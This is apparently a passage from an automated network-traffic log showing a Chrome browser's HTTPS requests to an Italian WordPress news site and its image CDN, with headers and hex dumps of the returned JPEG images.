2024-03-28 08:51:12 UTC	1369	IN	Data Raw: fc 1f f9 1c 0c ff 00 82 fe 6e 7f d9 77 59 7a d9 d1 fb 17 77 32 cb 67 4c 7d 9a 5d 38 a6 ae 63 6d 54 df b9 29 ab 74 39 f0 59 c9 73 a6 96 2e 63 e4 bb 83 c1 1d 0c 36 76 32 8e 85 ba 74 21 62 11 88 3f 4f ec 64 ff 00 eb 8d 60 bc 69 68 68 e6 9f d8 ca fb 30 ba d4 5b 5b dc ec f4 eb 62 f6 d6 c5 8d b8 f2 66 5f 92 f9 31 3e e6 0c 2f c1 84 74 3a 0e 32 5c e8 61 1d 0f 44 98 83 1a dd 7d 9f f7 16 44 bb 1c a3 53 8d 29 98 89 15 5b 73 d5 75 37 57 43 f0 5e cc 8c 96 9d 30 5c b5 cb a2 c5 f2 45 d9 3d 58 e9 a7 2f fc 14 b9 fd 28 b1 34 e0 93 3a 64 ed a5 cb a6 c9 65 ae 5d 13 43 f9 57 0d fa e6 47 b6 ac 8d f6 b4 8e 9a 88 b1 71 4d 8d 94 55 33 d6 0f a8 db fc 8d 3a 63 c8 ab 70 d3 2c a2 48 76 f7 2c 45 47 2e 0e 6d 32 6e ae eb a1 cb 64 32 8e b6 25 58 8a d7 e7 4c 96 3b 8a e9 09 e5 eb f0 e9 76 Data Ascii: nwYzw2gL}]8cmT)t9Ys.c6v2t!b?Od`ihh0[[bf_1>/t:2\aD}DS)[su7WC^0\E=X/(4:de]CWGqMU3:cp,Hv,EG.m2nd2%XL;v
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 7c 26 91 c5 4a 0f 88 c8 f8 47 84 b3 80 bb 89 f4 06 bf ef dc a0 0b 40 55 90 eb 47 c4 bf 2f d2 02 72 d2 ee e7 22 6d b7 7c 44 6d 95 fb 6a 29 1e 0f 27 b9 7c 09 e4 a3 f1 34 b6 d4 5d b2 7f 92 80 c6 4b 97 ca 2f c3 c4 b0 67 13 23 76 85 94 7d a2 e0 2b d4 d9 a9 5d 37 17 c2 5d e0 c7 14 71 dc 61 88 bf 98 86 a5 8a 4b 9e 0a 2b 85 d6 b5 db 5d 7b 9d a7 42 fa 19 18 14 52 f5 dc c2 ae 0f f5 b9 a0 b4 78 5a e6 76 3e ba ce 50 78 45 e4 14 f5 0b 20 6b d9 51 3c a9 70 3a 1f a9 87 fe 7e c8 dd 0d ac ee 2c 91 d6 72 90 f9 87 cc 5f 2c 33 88 f3 44 31 a6 54 5d 1f 53 4e 8a 0f a6 a7 00 cd e2 fc 47 c7 3c c0 20 d8 5f 20 b7 ba 7d 31 36 0a 98 2a e0 c5 5a 86 71 66 fb 23 40 35 41 55 2e b7 cb 6b d7 fa 9c 26 2d 15 d0 c8 5e dd d9 7c 4d 15 59 e8 6c d0 a1 e8 ff 00 71 11 a2 68 31 b0 74 d8 89 40 f8 84 Data Ascii: \|&JG@UG/r"m\|Dmj)'\|4]K/g#v}+]7]qaK+]{BRxZv>PxE kQ<p:~,r_,3D1T]SNG< _ }16*Zqf#@5AU.k&-^\|MYlqh1t@
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 14 a6 df a5 2f 26 98 41 26 ac b2 34 f1 0b 77 50 e8 91 a5 3a 04 1e 0b ab 67 46 1e f6 1e 7b e7 53 09 09 c1 47 dc 1e c4 f4 c5 a3 4f 31 3b b9 f2 71 bb 03 2a 13 cc 00 28 f2 60 8a c4 5e 4b 32 37 f4 07 86 fc 4e 39 c5 cd 7d a4 00 9b 62 8f 12 80 27 bb b3 53 41 c3 11 c7 61 d4 c4 d5 ff 00 44 a4 e7 50 91 4b 7b 74 f4 94 6f f2 a2 ca 93 e8 87 aa 21 b7 00 02 dd 9d cc 8d d9 90 68 5e e8 9c 8d ad 79 89 a6 01 0c 28 53 dc 02 b3 39 a8 78 03 c4 0a a5 e9 02 b6 d4 8b ed 0e d2 a5 65 30 6b 36 50 e7 4d f3 0f 14 53 a2 54 02 4b f3 fd 46 5f 91 25 c5 6b dc cc e7 83 ca 2a 2b d5 d6 88 21 15 11 53 7f 04 b3 4a e5 78 9d 41 83 d3 fd e6 20 01 0c 0f 42 9c a9 4e 8c bd 1d 33 9b 97 2e 91 28 2d f2 98 4b e5 3b 43 de 3d 40 44 4b 6b c2 a3 c7 b8 c5 8a c4 ff 00 d9 eb 2b 92 50 d2 fd 93 64 f1 29 cc c3 96 Data Ascii: /&A&4wP:gF{SGO1;q(`^K27N9}b'SAaDPK{to!h^y(S9xe0k6PMSTKF_%k+!SJxA BN3.(-K;C=@DKk+Pd)
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 5e 91 0a 26 92 b7 0f 2e 8c b2 ef a9 cf a4 67 e8 b4 79 71 04 c1 b5 c8 c1 96 63 37 62 ce 6b 7b 66 cf ed 69 c2 ce 30 cb d5 a9 53 5b 2f 70 1d 48 f1 ba 75 68 f2 7e 44 22 9e 1b 43 b2 a7 6d 84 ee c0 70 87 f7 68 7a b3 fb bf ff c4 00 29 10 01 00 02 02 02 02 01 04 01 05 01 01 00 00 00 00 01 00 11 21 31 41 51 61 71 81 91 a1 b1 c1 f0 10 20 30 d1 f1 e1 40 ff da 00 08 01 01 00 01 3f 10 fe 87 ff 00 00 0b 40 79 8f d0 23 86 29 e5 8c 52 70 80 af 3d cb cc d6 e5 5d c5 5d a8 0f 53 26 88 d0 d4 b8 01 d4 13 52 74 73 09 9a 3b 1c 4d c3 1e 63 28 34 8c 01 42 9b 61 b5 7e 9f b7 b8 c8 0d 20 3e af 6f e7 53 66 a0 9d 97 1e e6 83 06 f1 0d 16 a4 2a 4a 76 13 1e a5 d2 c1 2a 03 cc 20 57 01 f9 90 55 55 11 e8 c3 19 f0 d9 df f6 1f e6 ad 82 08 b5 77 cd 47 a8 6b 31 c1 e3 19 7e 65 01 98 d9 ca 5f 1c Data Ascii: ^&.gyqc7bk{fi0S[/pHuh~D"Cmphz)!1AQaq 0@?@y#)Rp=]]S&Rts;Mc(4Ba~ >oSfJv WUUwGk1~e_
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 69 7d 28 16 28 de c2 97 0f ea cf 09 41 bc 1b b0 02 fa 38 f1 f4 a0 33 ca 4a 2a f5 59 7f d5 4a ea 17 79 4e bc 55 1e dd 1e 63 6d db 6d 58 5b db d7 93 f4 97 03 34 a3 22 ad 86 eb cd 44 e0 ab 37 76 3d 30 c8 d2 e0 91 fa 92 cf 7c 32 58 a4 b4 2f 0d 00 7e f2 f9 4f 28 68 7c 5c 45 ac 6f 6f f8 5a a0 55 09 b1 7b 7b 09 48 a5 b6 0e 89 6f a2 60 f8 b9 6f 4b 6d 6b f9 b6 59 86 5d 1a 5e 22 30 d8 36 e4 f9 97 1a 8e 53 79 c4 13 20 d1 9a 82 97 66 29 28 f2 fc cc c6 8a c5 dd ac 40 34 27 d4 fd c6 53 5a 0d b2 4c 80 4d d6 19 8b d4 00 f0 6f 9f e3 04 75 dd 85 7e 22 c5 7f 61 2e 82 53 80 9d 64 61 d0 48 00 04 fb 05 fb d7 a9 94 49 6b 65 ae 14 3b f5 10 4a a2 95 3e 83 3c 72 c0 92 9d 34 ac f5 7d f0 7c ea 18 60 5d a2 9e 7d f1 5f 56 0d a8 79 d3 e0 a6 b0 8f 86 69 02 c5 1d b1 58 bf 83 c3 8d 24 74 Data Ascii: i}((A83J*YJyNUcmmX[4"D7v=0\|2X/~O(h\|\EooZU{{Ho`oKmkY]^"06Sy f)(@4'SZLMou~"a.SdaHIke;J><r4}\|`]}_VyiX$t
2024-03-28 08:51:12 UTC	1260	IN	Data Raw: 4d 69 f8 87 d0 9f 10 5a 3d 64 96 86 56 51 68 87 d1 60 bc 41 20 4e 48 e9 2a c4 e5 a2 70 00 12 19 55 df 52 b8 29 32 a2 22 15 43 37 98 b6 78 4a c3 6e 8f 84 4a d4 00 c8 69 12 c4 da c1 a2 f7 00 0a c4 84 1a d8 e9 db 5e a1 e3 b0 73 86 ef f5 04 e9 0b 6b 5b 17 ef b8 9b 3e b0 ce 33 f9 63 85 66 07 39 f7 04 8f 9b 42 a8 f1 f5 82 18 36 c2 78 0d 6d 80 f0 12 97 6d ea 32 56 0b 41 7c 7d ea 6f ac 1a 23 aa f2 9f 88 4d bc c9 65 b6 e5 60 30 23 54 b1 b7 c9 10 a5 da b7 e2 12 cd 1b 31 0a b7 38 e4 2e 2a 1a 74 5e e5 94 09 4d cc bb 29 35 38 68 dc 46 f2 ae 3b 99 86 0c e1 86 ab 43 c3 b2 51 01 e0 61 61 c0 05 db 30 d6 47 9d 47 d8 f0 c6 e9 6f 55 87 7d 32 34 88 fa 81 72 88 90 e9 8a 48 cf 36 f4 5f 50 41 d3 46 c5 7b 82 00 36 7a 95 d2 55 60 75 dc 57 0b 44 b5 d3 29 9d 60 8d 9e 7e 20 72 52 2b Data Ascii: MiZ=dVQh`A NHpUR)2"C7xJnJi^sk[>3cf9B6xmm2VA\|}o#Me`0#T18.t^M)58hF;CQaa0GGoU}24rH6_PAF{6zU`uWD)`~ rR+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49923	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	709	OUT	GET /wp-admin/admin-ajax.php HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
2024-03-28 08:51:12 UTC	799	IN	HTTP/1.1 400 Bad Request Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 86b6608198d41ff2-IAD CF-Cache-Status: MISS Cache-Control: max-age=14400, must-revalidate Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding cf-apo-via: origin,resnok cf-edge-cache: cache,platform=wordpress x-powered-by: PHP/8.2.17 x-robots-tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dSeC6vv4JWoebDVCjyJ449LEuTHSuGVLzP%2FIg%2B0GOQwfjd4QCi7vcC5eKQIfiTwItcSBFwk0GZapDpuaoyv0XOgHUVTgt2s6uoB0R5XM%2Bkb428q3ccmRM9cN2VU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:12 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-03-28 08:51:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49919	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2210.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	592	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/jpeg Content-Length: 13695 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:24 GMT Expires: Sat, 28 Mar 2026 05:35:24 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2210.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "98d20a4c82a6de5d" X-Bytes-Saved: 723 Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:12 UTC	777	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 02 03 01 00 00 00 00 00 00 00 00 00 00 00 04 05 03 06 00 01 02 07 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 00 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 1e a9 6b ae 69 5a 3b 05 Data Ascii: JFIFCCD"kiZ;
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 14 41 9f 2f 66 0f 36 aa d1 ab a3 74 e3 f8 b4 bd 15 ef 9b 5c ab 5a 34 83 cf 08 02 29 3a 0a c4 c5 0d 12 85 84 4a 26 56 f6 9a b3 06 46 ea 59 aa 69 b1 6c 99 bf 14 c3 10 31 4b 04 32 44 28 9b 35 86 34 a2 c2 28 dd 8b b4 4d d9 a6 a4 5b aa b3 a3 a6 6b 8f e8 ad ce c8 85 54 f1 2a f6 0e 16 33 1d d7 96 00 1e af 1c 24 8c 0b d4 96 ca 45 5e cf dd 7e c5 45 aa 91 c7 50 9c 10 ce 38 ee 9e 57 1d ab 4a 85 a2 66 56 cd 44 31 19 98 63 4f 58 b1 6c 99 bb 72 91 67 1b a6 fe 3d f1 ce 9f 39 c3 2a 64 f0 ec d9 ac a2 25 96 b2 07 ec 78 6b b7 4d 5f 7f 7f 32 32 48 c9 59 75 66 e3 53 a4 9e f3 0b 13 cb 4d 84 95 6d 64 d9 26 32 a3 e8 34 48 56 2b 4d 42 e7 ae 2b 26 8e 59 38 c9 ec 55 aa ce 27 09 5e 11 c2 17 68 19 2d 7d e8 c9 5b 53 6f be 32 b9 af 3b ac 56 86 58 6f 17 ba d6 07 4d 9a c6 8d 43 23 db 56 Data Ascii: A/f6t\Z4):J&VFYil1K2D(54(M[kT3$E^~EP8WJfVD1cOXlrg=9d%xkM_22HYufSMmd&24HV+MB+&Y8U'^h-}[So2;VXoMC#V
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 00 d4 6d f7 42 cb 0e b3 f8 d4 ce 29 25 55 c1 b5 d4 8e 58 8d ad 8d ba 11 e6 c3 9a 91 94 2f 90 d4 7c c2 3d 98 b3 d2 06 87 77 a6 7a 26 b3 d4 ca 97 6a b5 dc a1 ea b7 d2 9b 63 64 1e 28 3a f5 16 f8 70 33 b3 e1 de 14 9c f4 ed 20 aa 6f a6 5b 2d 9a 9d be a0 39 bf f9 65 53 2f fd 03 a8 e2 f6 18 62 bd 85 90 19 62 c3 a2 28 1d 13 fd 4d f3 52 be 50 51 7c c2 2e 32 1e 43 14 99 3c 39 8b 88 fd 1e 47 78 59 52 ed 56 bb 94 3d 56 ba 53 a8 f7 42 a8 ac 7e 61 6a 35 5c 09 54 17 8e 52 7c 99 b4 bb b8 33 8d 8d 42 e0 79 d9 6f b2 26 cd 42 df 46 dc 3c ad 05 f3 9c bb 1e f2 d5 3f 8e f6 2e f9 b3 03 b4 84 a4 17 75 7b 26 82 93 e4 40 ea 6e 15 9d be 6a 6d a5 f3 44 c4 f2 2a 5d aa d7 6a 83 aa d7 4a d2 ce ab 36 48 51 5a 68 06 c9 94 8a 17 66 38 a7 19 e5 97 ec 80 5f 56 59 ab 31 ea 03 da c5 7f 13 32 Data Ascii: mB)%UX/\|=wz&jcd(:p3 o[-9eS/bb(MRPQ\|.2C<9GxYRV=VSB~aj5\TR\|3Byo&BF<?.u{&@njmD*]jJ6HQZhf8_VY12
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: a8 9a 75 8a 49 10 31 b8 cc 59 0b d2 b2 22 ac cf 36 84 f2 31 b4 52 d3 45 ac cc 74 e2 fa 15 3f 1e 05 24 b9 1c 5d 92 c8 b6 31 e9 ff c4 00 35 10 00 01 02 03 06 04 05 01 09 01 01 01 00 00 00 00 01 00 02 10 11 21 03 12 31 41 51 f0 20 22 61 71 13 32 81 91 a1 c1 04 23 42 52 62 72 b1 d1 f1 e1 30 a2 ff da 00 08 01 01 00 06 3f 02 56 67 f4 c4 40 23 17 76 47 bc 5b 66 dc 5e 64 13 7e cf 66 28 31 ea b1 e0 9a 27 36 c0 40 44 c0 40 70 14 3b c0 46 c4 f4 e1 08 c5 ff 00 b7 82 ca 79 4c fc 46 8d 6f ba ad d6 8e eb 38 48 a7 b7 aa 10 1c 22 03 80 a1 de 02 36 07 84 23 1b 4f db c1 3f d0 51 0b 99 d2 d1 52 a8 e0 a6 e3 25 cd 81 53 09 d6 ed 68 2f bb 9a 10 1c 05 0e f0 10 30 28 77 80 8d 8b bf 54 65 00 8c 02 b4 ed c0 cb 5b 9c 86 93 81 13 00 6b a2 95 9d b1 77 a2 bd 39 6a bc 33 31 a2 bb f6 8b Data Ascii: uI1Y"61REt?$]15!1AQ "aq2#BRbr0?Vg@#vG[f^d~f(1'6@D@p;FyLFo8H"6#O?QR%Sh/0(wTe[kw9j31
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: df 6e d0 08 ff 00 e3 d9 69 2c 15 7f d5 2c 57 2e 6a 78 ab ae 26 43 15 74 59 b6 43 55 88 b2 b3 ca eb 04 ca a5 ac ce a4 29 0b a8 0c f3 2a e5 94 ba 94 1b 3b ce 5e 58 73 36 ba 8a 2f 3b e4 bc 4b 0b 67 b4 8d 51 b4 b6 16 36 96 37 ff 00 18 e6 3d 45 17 97 99 b8 10 88 d3 18 57 e6 14 ef 09 85 22 70 88 46 1f ff c4 00 27 10 00 01 03 03 03 04 03 01 01 01 00 00 00 00 00 00 01 00 11 21 31 41 51 61 71 f0 10 81 91 a1 b1 c1 d1 e1 f1 20 ff da 00 08 01 01 00 01 3f 21 a8 26 72 d6 ae 95 4e 0a 37 5f 5f a6 15 5f 12 68 98 24 4e f2 5d 50 0e e2 f7 93 2a aa ae 59 3d 20 83 41 43 17 41 74 00 45 c8 e3 29 3e e1 56 51 a0 1e bc a1 ba f5 15 5d d1 f9 d0 a2 a7 a6 be ea b2 f6 ba 15 bf e3 db fc 95 6a 94 0e 08 a1 b2 3f 1a f5 10 af 41 e3 a9 13 96 bd 15 21 da 9e f6 24 f0 75 46 a6 74 78 4c 8f 42 93 Data Ascii: ni,,W.jx&CtYCU);^Xs6/;KgQ67=EW"pF'!1AQaq ?!&rN7___h$N]PY= ACAtE)>VQ]j?A!$uFtxLB
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 50 cd 08 84 50 08 26 ed 4f d0 44 00 90 1a 34 3d 90 01 80 10 58 54 6d 90 a5 2a 86 34 07 07 44 52 cc b7 2e 67 e5 32 d9 66 07 d5 f5 43 7c 00 8d d7 c6 f9 41 34 89 27 b0 44 ff 00 13 c0 e0 41 96 3e 2d b5 7e e3 c2 d1 c1 2a e8 91 cb 6f fb c0 88 80 87 08 a5 1c 51 50 4f 85 36 8a 24 94 50 29 40 8c 04 94 00 f2 58 b8 15 7b f0 a4 82 59 a3 71 c9 43 00 47 d4 7c fc 91 5a 69 13 ce e9 86 d2 5e 5e fe 32 11 60 e4 68 dc e0 27 b8 f0 1b b2 47 60 0c c8 1b 00 41 28 04 70 06 57 70 7b a9 e6 04 34 72 3e d4 d3 1f c8 a5 07 25 32 3f 0a 23 c1 70 e1 a7 87 24 10 86 d8 73 b1 43 36 11 00 83 76 fd 28 f7 67 e7 f7 fa 89 88 24 22 5c 6b 18 c9 4d 2d 86 8a 44 45 b1 38 45 28 c8 80 64 3f 2c 8c d0 2d a5 63 78 1e 13 05 80 74 93 5f 87 e0 47 45 c3 aa 29 5f 17 fc 4f 5f ac 38 54 7a 09 56 91 e0 27 9a 4c 03 Data Ascii: PP&OD4=XTm4DR.g2fC\|A4'DA>-~oQPO6$P)@X{YqCG\|Zi^^2`h'G`A(pWp{4r>%2?#p$sC6v(g$"\kM-DE8E(d?,-cxt_GE)_O_8TzV'L
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 03 f5 13 c4 c4 96 92 3e c6 a4 77 30 25 90 df 47 52 32 20 3c 11 01 05 ac 26 52 3f 13 96 00 62 04 38 d3 44 0a 5a 6f 91 24 a0 54 04 30 e7 d8 4d 33 18 6e 7d f7 34 44 04 03 9d c7 19 ff 00 63 44 d1 ad c8 90 7f 7b c2 11 55 cd 80 bb fe fa 14 47 b5 58 31 3b da 9b d1 18 9a 57 2f fd f9 3f 68 98 38 e0 5c fb 3b 59 11 20 f8 5e af 4a e8 05 03 91 e1 d0 4d 48 81 c6 5f 4f 1e 93 d5 c1 ac c1 38 ff 00 74 54 63 b0 bf fa 3d fa 43 f5 23 72 7e 0f 84 e9 23 10 4d b7 7f 51 a1 90 d2 ff 00 7f 28 92 84 2a 39 cc 5d 48 2e 27 53 f3 96 ba 03 31 21 88 3c f0 9b 6e 09 63 d3 2a 44 06 a7 77 92 42 36 58 2c 01 cd be 93 94 33 62 7f af a7 84 c0 84 00 0d 85 55 24 45 70 ec 9c 00 f0 5c a7 80 20 1d 03 6a 14 fe 90 ee 08 be 41 2e c5 89 f2 ab 3a 3c 05 17 10 25 ec 85 77 b2 9c 00 06 19 ca 7c a2 50 c4 1d 5e Data Ascii: >w0%GR2 <&R?b8DZo$T0M3n}4DcD{UGX1;W/?h8\;Y ^JMH_O8tTc=C#r~#MQ(9]H.'S1!<ncDwB6X,3bU$Ep\ jA.:<%w\|P^
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 3f 19 c1 f7 31 42 f4 30 88 66 c7 32 e5 b7 86 42 77 90 75 1f e4 c3 03 f8 66 1d 39 2f 9c 7e b2 64 71 7c cb 77 97 15 4f 19 e2 9f d3 93 2e cb 8e fe 71 7d b2 2b 5f 33 89 67 e6 32 71 50 e8 e4 25 8b a1 01 ed ef 1e 91 37 a3 fa c5 aa 74 fe 0b 59 7a c3 c9 4b f5 97 88 10 35 2c e2 f0 3b 66 9c 30 60 52 7a 56 7e 1c 83 02 af 8c d8 9e f0 31 a1 d3 c7 f7 b1 f0 f2 c2 3d 3f e3 3f 73 fc 29 1e b2 27 d1 95 f7 f1 43 1d 3f 78 58 cb 9f 2c 30 44 3b cd 63 8f f1 86 b3 95 32 56 46 b2 3a ba 23 26 f4 65 ce 37 8d 33 ce 40 5e 30 27 e3 fe 19 36 dd e5 1c 56 46 3e 20 34 e5 47 f7 8b 39 91 8a 77 78 d8 d1 36 7f 58 b3 b8 3f 99 93 30 cc 48 13 ff 00 4e 2f be 53 77 93 10 29 ac 6c 9d 0b e3 11 31 a0 4c 77 a0 c4 24 a5 4a 73 bc 49 12 f6 3f 86 24 6b 14 e2 b0 d7 2e 4d ee e2 fa 9c 71 e2 58 ee 9e 1f bc 48 Data Ascii: ?1B0f2Bwuf9/~dq\|wO.q}+_3g2qP%7tYzK5,;f0`RzV~1=??s)'C?xX,0D;c2VF:#&e73@^0'6VF> 4G9wx6X?0HN/Sw)l1Lw$JsI?$k.MqXH
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 5e 83 01 b5 2c 68 81 95 96 08 d9 66 97 63 90 8b 44 65 48 d9 3b e0 3b 55 83 38 49 70 88 79 27 cc f5 44 8c 08 40 9a 4b 8e be 3f e6 27 8a b6 cb 96 56 28 ff 00 98 95 50 b0 0b 06 23 f2 31 80 55 00 72 05 3c d9 ef cb 8a 4a 08 e1 fe 31 94 a2 80 b5 80 0a 40 95 48 4a 71 37 1e de 09 43 db 29 c9 56 ed db 47 86 05 21 0c b7 5a 8a 51 31 98 84 36 83 66 4e d1 49 ad 06 62 e1 ad a5 f2 c4 b2 72 d9 16 cf 83 b8 8f 67 79 5d 61 94 5b c3 e1 2a 79 ae 53 86 e3 0a a6 f5 0a d4 ad 6f 00 2b 12 1c 8b 01 98 f3 02 4f 6c 19 41 1a 12 b3 00 93 4a 22 f6 1c 60 da 88 72 20 d3 90 0a 8a da 59 8c 72 49 09 95 1b 78 ae 7f 54 71 86 3f 1f d6 7d 24 c7 21 8c 0f fb 78 48 de 4c 1c 29 cd 8b 87 eb 12 df c9 81 9d e3 42 40 27 58 72 18 24 2e 8a 70 c4 fd e3 a0 cf 9f a6 32 04 e5 40 e9 c9 12 b8 95 77 81 61 27 4b Data Ascii: ^,hfcDeH;;U8Ipy'D@K?'V(P#1Ur<J1@HJq7C)VG!ZQ16fNIbrgy]a[*ySo+OlAJ"`r YrIxTq?}$!xHL)B@'Xr$.p2@wa'K
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: b7 e3 f3 8e 84 94 c1 42 8f c7 d1 c7 38 50 53 4f 85 d0 6b eb 01 97 51 89 2c c4 ad da b5 cf ce 40 01 04 4a ce 24 94 58 b5 59 63 95 9c 21 26 07 a6 56 d0 c6 51 11 39 49 b1 f7 c4 25 3d 64 2b 95 97 7c d5 93 08 dc 9c 49 10 e0 3a 4b f4 24 e3 d3 78 cb 92 51 08 06 ed b1 3e c7 f7 aa 2b b8 b0 66 85 74 d0 6b 78 94 84 12 42 21 61 20 f9 43 47 4b c8 89 3b 44 22 40 5d a5 20 af 0c db e0 b9 27 86 a5 5f 38 f1 91 12 ca ba e6 9f 7f bc de 2b 87 10 d8 70 d8 39 69 8c 19 a1 99 28 37 55 8f 3e 02 51 68 ec 0b 78 2a 4c 29 96 00 70 03 5c d9 33 f8 8d 3c 13 d3 f8 64 60 d8 86 6e 4a 7c a7 7c 63 68 82 60 13 7d 79 d4 c6 a1 77 8e e9 08 15 b4 83 50 b5 21 47 68 9b c1 15 09 32 68 73 27 49 69 35 ad 65 a8 89 f2 83 93 cd 48 f0 9e 70 9d da 92 97 40 90 25 09 34 16 b3 69 94 25 92 1b 16 c2 52 84 43 35 Data Ascii: B8PSOkQ,@J$XYc!&VQ9I%=d+\|I:K$xQ>+ftkxB!a CGK;D"@] '_8+p9i(7U>Qhx*L)p\3<d`nJ\|\|ch`}ywP!Gh2hs'Ii5eHp@%4i%RC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49920	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	418	OUT	GET /bsnews.it/wp-content/uploads/2023/01/cemetery-3799038_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	601	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/jpeg Content-Length: 16622 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:24 GMT Expires: Sat, 28 Mar 2026 05:35:24 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2023/01/cemetery-3799038_1920.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "539955d7e2a0c02c" X-Bytes-Saved: 1161 Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:12 UTC	768	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 